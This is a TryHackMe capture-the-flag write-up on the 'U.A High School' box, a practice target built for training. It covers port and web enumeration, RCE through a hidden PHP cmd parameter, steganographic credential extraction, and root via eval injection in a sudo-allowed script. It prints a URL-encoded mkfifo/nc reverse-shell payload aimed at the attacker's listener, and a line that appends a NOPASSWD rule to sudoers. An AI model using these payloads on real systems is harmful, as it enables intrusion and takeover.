Post

THM U.A High School WriteUp

THM U.A High School WriteUp

Desktop View

U.A High School Skills

U.A High School is a easy Linux machine where we will use the following skills:

  • Port Discovery
  • Web Application Enumeration
  • Directory and File Fuzzing
  • Exploiting PHP File for Remote Code Execution (RCE)
  • Reverse Shell Execution
  • Steganography for Password Extraction
  • Linux Privilege Enumeration
  • Exploiting Misconfigured Sudoers Privilege
  • Privilege Escalation via Binary Execution

IP Address Enumeration

Using the usual nmap scan I’ve discovered port 22 & port 80:

1
2
3
4
5
6
7
8
9
 nmap -p- -open -sS --min-rate 5000 -vvv -n -Pn 10.10.81.200 -oG allPorts
Nmap scan report for 10.10.81.200
Host is up, received user-set (0.18s latency).
Scanned at 2025-03-07 21:06:50 CET for 16s
Not shown: 65530 closed tcp ports (reset), 3 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 63
80/tcp open  http    syn-ack ttl 63

Then i launched a basic group of scripts to seek more info from the open ports:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
 nmap -sCV -p22,80 10.10.81.200 -oN targeted
Nmap scan report for 10.10.81.200
Host is up (0.26s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 58:2f:ec:23:ba:a9:fe:81:8a:8e:2d:d8:91:21:d2:76 (RSA)
|   256 9d:f2:63:fd:7c:f3:24:62:47:8a:fb:08:b2:29:e2:b4 (ECDSA)
|_  256 62:d8:f8:c9:60:0f:70:1f:6e:11:ab:a0:33:79:b5:5d (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: U.A. High School
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

So we have to check the following ports & services:

  • Port 22 –> OpenSSH 8.2p1 Ubuntu 4ubuntu0.7
  • Port 80 –> Apache/2.4.41 (Ubuntu)

Let’s start with the HTTP service.


Port 80 Enumeration

At first i ran whatweb, to seek for some versions and technologies used in the website:

1
2
❯ whatweb 10.10.81.200
http://10.10.81.200 [200 OK] Apache[2.4.41], Country[RESERVED][ZZ], Email[info@yuei.ac.jp], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.41 (Ubuntu)], IP[10.10.81.200], Title[U.A. High School]

Nothing really useful found beside an email, let’s take a look inside the website, once inside http://10.10.81.200, we are in front of a high school website.

Desktop View

At first i tried tickling a bit the website features, but much of the them are broken and the few that work are not exploitable, so let’s fuzz in order to find subdirectories.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
❯ gobuster dir -u http://10.10.81.200 -w /usr/share/seclists/Discovery/Web-Content/big.txt -t 64
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.81.200
[+] Method:                  GET
[+] Threads:                 64
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/big.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.htaccess            (Status: 403) [Size: 277]
/.htpasswd            (Status: 403) [Size: 277]
/assets               (Status: 301) [Size: 313] [--> http://10.10.81.200/assets/]
/server-status        (Status: 403) [Size: 277]
Progress: 20478 / 20479 (100.00%)
===============================================================
Finished
===============================================================

We found a directory named assets, since we didn’t found nothing more and if we access it, nothing is displayed, let’s fuzz /assets.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
❯ gobuster dir -u http://10.10.81.200/assets -w /usr/share/seclists/Discovery/Web-Content/big.txt -t 64
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.81.200/assets
[+] Method:                  GET
[+] Threads:                 64
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/big.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.htpasswd            (Status: 403) [Size: 277]
/.htaccess            (Status: 403) [Size: 277]
/images               (Status: 301) [Size: 320] [--> http://10.10.81.200/assets/images/]
Progress: 20478 / 20479 (100.00%)
===============================================================
Finished
===============================================================

Another directory found, /images, nothing displayed again if we access it, before fuzzing the new directory (/images), let’s try fuzzing the /assets folder with a filenames wordlist.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
❯ gobuster dir -u http://10.10.81.200/assets -w /usr/share/seclists/Discovery/Web-Content/raft-small-files.txt -t 64
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.81.200/assets
[+] Method:                  GET
[+] Threads:                 64
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/raft-small-files.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.htaccess            (Status: 403) [Size: 277]
/.                    (Status: 200) [Size: 0]
/styles.css           (Status: 200) [Size: 2943]
/.html                (Status: 403) [Size: 277]
/.php                 (Status: 403) [Size: 277]
/index.php            (Status: 200) [Size: 0]
/.htpasswd            (Status: 403) [Size: 277]
/.htm                 (Status: 403) [Size: 277]
/.htpasswds           (Status: 403) [Size: 277]
/.htgroup             (Status: 403) [Size: 277]
/wp-forum.phps        (Status: 403) [Size: 277]
/.htaccess.bak        (Status: 403) [Size: 277]
/.htuser              (Status: 403) [Size: 277]
Progress: 11424 / 11425 (99.99%)
===============================================================
Finished
===============================================================

Most of the results are Forbidden (403), but we found an index.php file, if we access it via browser, nothing is displayed, but since it’s a PHP file, it may have some vulnerable parameter defined, we can try this by giving the parameter a command injection and fuzzing for the parameter name.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
❯ ffuf -u "http://10.10.81.200/assets/index.php?FUZZ=id" -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -fs 0 -t 100

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://10.10.81.200/assets/index.php?FUZZ=id
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 100
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 0
________________________________________________

cmd                     [Status: 200, Size: 72, Words: 1, Lines: 1, Duration: 453ms]
:: Progress: [6453/6453] :: Job [1/1] :: 1030 req/sec :: Duration: [0:00:25] :: Errors: 0 ::

Bingo, we found a cmd parameter, that allow us to RCE.

Let’s try to see if it works.

1
2
❯ curl -s "http://10.10.81.200/assets/index.php?cmd=id" | xargs
dWlkPTMzKHd3dy1kYXRhKSBnaWQ9MzMod3d3LWRhdGEpIGdyb3Vwcz0zMyh3d3ctZGF0YSkK

Seems like we get a base64 coded output, so if we decode it we get the output of the command.

1
2
❯ curl -s "http://10.10.81.200/assets/index.php?cmd=id" | xargs | base64 -d
uid=33(www-data) gid=33(www-data) groups=33(www-data)

We can just execute a reverse shell payload, in order to gain a shell, but I have created a basic bash script that give us a shell that decode the base64 string automatically, you can check it at my Github page.

1
wget https://raw.githubusercontent.com/Ne4rBy/RCETranslator/refs/heads/main/RCETranslator.sh

Once with the tool, you have to change the target URL and it’s ready to use.

1
2
3
4
5
6
7
8
9
10
11
12
❯ ./RCETranslator.sh
    ____  ____________   ______                      __      __            
   / __ \/ ____/ ____/  /_  __/________ _____  _____/ /___ _/ /_____  _____
  / /_/ / /   / __/      / / / ___/ __ `/ __ \/ ___/ / __ `/ __/ __ \/ ___/
 / _, _/ /___/ /___     / / / /  / /_/ / / / (__  ) / /_/ / /_/ /_/ / /    
/_/ |_|\____/_____/    /_/ /_/   \__,_/_/ /_/____/_/\__,_/\__/\____/_/     
                                                                           
Created by: Samuel Laveau (aka Ne4rby)

CMD-> id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
CMD-> 

Note: I know it’s a bit useless since we can gain a real shell, but i wanted to practice a bit my bash script

We can now gain a shell, let’s start by setting a listener at port 443.

1
❯ nc -nvlp 443

Once with the listener settled, let’s execute the following URL-Encoded payload.

1
rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7Cbash%20-i%202%3E%261%7Cnc%2010.14.99.119%20443%20%3E%2Ftmp%2Ff

We should have received a shell.

1
2
3
4
5
6
7
❯ nc -nvlp 443
listening on [any] 443 ...
connect to [10.14.99.119] from (UNKNOWN) [10.10.81.200] 46632
bash: cannot set terminal process group (808): Inappropriate ioctl for device
bash: no job control in this shell
www-data@myheroacademia:/var/www/html/assets$ whoami
www-data

Shell as www-data

TTY Treatment

Once we get the reverse shell, let’s find a way to scale privileges, but before, we have to get a fully interactive shell, there are multiple ways but i like to do it this way:

1
script /dev/null -c bash

Then press Ctrl+Z to get the process in background.

Now that you are in your machine execute the next command:

1
stty raw -echo;fg

Now write reset xterm and you should have a better looking shell but you still have to execute a few commands:

1
2
3
export TERM=xterm
export SHELL=bash
stty rows 45 columns 184

Make a stty size in your own shell to know the rows and columns.

Privilege Escalation

Once with a stable shell, we can begin with the privilege escalation phase, firstly i checked the website structure, with a bit of research i found a hidden folder at /var/www/Hidden_Content/passpharse.txt, checking it’s content seems like base64 string.

1
2
www-data@myheroacademia:/var/www/Hidden_Content$ cat /var/www/Hidden_Content/passphrase.txt 
QWxsbWlnaHRGb3JFdmVyISEhCg==

So, let’s decode it.

1
2
www-data@myheroacademia:/var/www/Hidden_Content$ cat /var/www/Hidden_Content/passphrase.txt | base64 -d
All*********ver!!!

Bingo, we found what seems like a password, the first thing i thought was authenticate as a system user, but that didn’t worked.

1
2
3
4
5
6
7
www-data@myheroacademia:/var/www/Hidden_Content$ cat /etc/passwd | grep "sh$"
root:x:0:0:root:/root:/bin/bash
deku:x:1000:1000:deku:/home/deku:/bin/bash

www-data@myheroacademia:/var/www/Hidden_Content$ su deku
Password: 
su: Authentication failure

After a bit of thinking i remembered that there was two images at the /images folder of the website, so let’s see if they have any data embed.

In order to do this we have to download the images, so let’s host them in the target machine.

1
2
ww-data@myheroacademia:/var/www/html/assets/images$ python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

Then download them in out machine.

1
2
❯ wget http://10.10.81.200:8000/yuei.jpg
❯ wget http://10.10.81.200:8000/oneforall.jpg

Once with the images let’s check if they have any embed data, I started with the yuei.jpg file.

1
2
3
❯ steghide extract -sf yuei.jpg
Enter passphrase: 
steghide: could not extract any data with that passphrase!

Nothing, let’s see with the oneforall.jpg file.

1
2
3
❯ steghide extract -sf oneforall.jpg
Enter passphrase: **************
steghide: the file format of the file "oneforall.jpg" is not supported.

Seems like the magic numbers of this file have been modified, since if we use file to detect the file format, it get detected as data.

1
2
❯ file oneforall.jpg
oneforall.jpg: data

Let’s get it back to jpg, we can make this manually using hexeditor, but i really like this tool made by Haxrein that automate the process, you can check it at his repo here: https://github.com/Haxrein/MagicBytes.

The use is pretty simple.

1
2
3
4
5
6
7
8
9
10
11
❯ python3 magicbytes.py -i oneforall.jpg -m jpg

|  \/  |           (_)    | ___ \     | | github.com/Haxrein       
| .  . | __ _  __ _ _  ___| |_/ /_   _| |_ ___  ___   _ __  _   _  
| |\/| |/ _` |/ _` | |/ __| ___ \ | | | __/ _ \/ __| | '_ \| | | | 
| |  | | (_| | (_| | | (__| |_/ / |_| | ||  __/\__ \_| |_) | |_| | 
\_|  |_/\__,_|\__, |_|\___\____/ \__, |\__\___||___(_) .__/ \__, | 
               __/ |              __/ |              | |     __/ | 
              |___/              |___/               |_|    |___/

Magic bytes has been changed of oneforall.jpg as jpg

If we check once again the file format we can see that it changed to jpg.

1
2
❯ file oneforall.jpg
oneforall.jpg: JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 1140x570, components 3

So let’s check if it has any embed data again.

1
2
3
❯ steghide extract -sf oneforall.jpg
Enter passphrase: ***************
wrote extracted data to "creds.txt".

Bingo, we found a file named creds.txt inside the image, let’s see what’s inside.

1
2
3
4
❯ catn creds.txt
Hi Deku, this is the only way I've found to give you your account credentials, as soon as you have them, delete this file:

deku:One?Fo****l_!******A

There we go, we have found what looks like valid credentials for the system user deku.

So, let’s log in as deku.

1
2
3
www-data@myheroacademia:/var/www/html/assets/images$ su deku
Password: 
deku@myheroacademia:/var/www/html/assets/images$

Shell as deku

Once as user deku we can read the user.txt flag at /home/deku/user.txt.

1
2
deku@myheroacademia:~$ cat /home/deku/user.txt 
THM{************************}

Checking the sudoers privileges, we found that we can run as root a script named feedback.sh.

1
2
3
4
5
6
deku@myheroacademia:~$ sudo -l
Matching Defaults entries for deku on myheroacademia:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User deku may run the following commands on myheroacademia:
    (ALL) /opt/NewComponent/feedback.sh

So, let’s see what it does.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#!/bin/bash

echo "Hello, Welcome to the Report Form       "
echo "This is a way to report various problems"
echo "    Developed by                        "
echo "        The Technical Department of U.A."

echo "Enter your feedback:"
read feedback


if [[ "$feedback" != *"\`"* && "$feedback" != *")"* && "$feedback" != *"\$("* && "$feedback" != *"|"* && "$feedback" != *"&"* && "$feedback" != *";"* && "$feedback" != *"?"* && "$feedback" != *"!"* && "$feedback" != *"\\"* ]]; then
    echo "It is This:"
    eval "echo $feedback"

    echo "$feedback" >> /var/log/feedback.txt
    echo "Feedback successfully saved."
else
    echo "Invalid input. Please provide a valid input." 
fi

We can see the following line eval "echo $feedback", the eval operator is pretty dangerous since it execute the input as shell commands.

The script has input sanitization, but lacks on filtering the next chars: > and /, so we can redirect output to other files as root.

So, we can for example, give the user deku full sudores privileges.

1
2
3
4
5
6
7
8
9
10
deku@myheroacademia:~$ /opt/NewComponent/./feedback.sh
Hello, Welcome to the Report Form       
This is a way to report various problems
    Developed by                        
        The Technical Department of U.A.
Enter your feedback:
deku ALL=NOPASSWD: ALL >> /etc/sudores
It is This:
/opt/NewComponent/./feedback.sh: line 14: /etc/sudores: Permission denied
Feedback successfully saved.

Seems successful since the It is This: field is empty, let’s check again the sudoers privileges of deku.

1
2
3
4
5
6
7
deku@myheroacademia:~$ sudo -l
Matching Defaults entries for deku on myheroacademia:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User deku may run the following commands on myheroacademia:
    (ALL) /opt/NewComponent/feedback.sh
    (root) NOPASSWD: ALL

There we go, now we can gain a shell as root.

1
2
3
deku@myheroacademia:~$ sudo su
root@myheroacademia:/home/deku# whoami
root

Now you can read the root.txt flag at /root/root.txt.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
root@myheroacademia:/opt/NewComponent# cat /root/root.txt
__   __               _               _   _                 _____ _          
\ \ / /__  _   _     / \   _ __ ___  | \ | | _____      __ |_   _| |__   ___ 
 \ V / _ \| | | |   / _ \ | '__/ _ \ |  \| |/ _ \ \ /\ / /   | | | '_ \ / _ \
  | | (_) | |_| |  / ___ \| | |  __/ | |\  | (_) \ V  V /    | | | | | |  __/
  |_|\___/ \__,_| /_/   \_\_|  \___| |_| \_|\___/ \_/\_/     |_| |_| |_|\___|
                                  _    _ 
             _   _        ___    | |  | |
            | \ | | ___  /   |   | |__| | ___ _ __  ___
            |  \| |/ _ \/_/| |   |  __  |/ _ \ '__|/ _ \
            | |\  | (_)  __| |_  | |  | |  __/ |  | (_) |
            |_| \_|\___/|______| |_|  |_|\___|_|   \___/ 

THM{************************}

Final Thoughts

The U.A High School machine offers a well-rounded challenge that emphasizes web fuzzing, steganography, and Linux privilege escalation. The initial phase involves extensive directory and file fuzzing to uncover a vulnerable PHP file, which allows for Remote Code Execution (RCE) and provides an initial foothold on the system. This highlights the importance of thorough enumeration and the risks associated with leaving vulnerable files exposed on web servers. The next step involves using steganography to extract a hidden password from an image, showcasing the creative ways sensitive information can be concealed and discovered. Finally, privilege escalation is achieved by exploiting a misconfigured sudoers permission, allowing the user to execute a specific binary with elevated privileges. This machine effectively reinforces key skills in web exploitation, steganography, and privilege escalation, making it a valuable and engaging exercise for those looking to strengthen their penetration testing capabilities.

Desktop View


Thanks for reading, i’ll appreciate that you take a look to my other posts :)

This post is licensed under CC BY 4.0 by the author.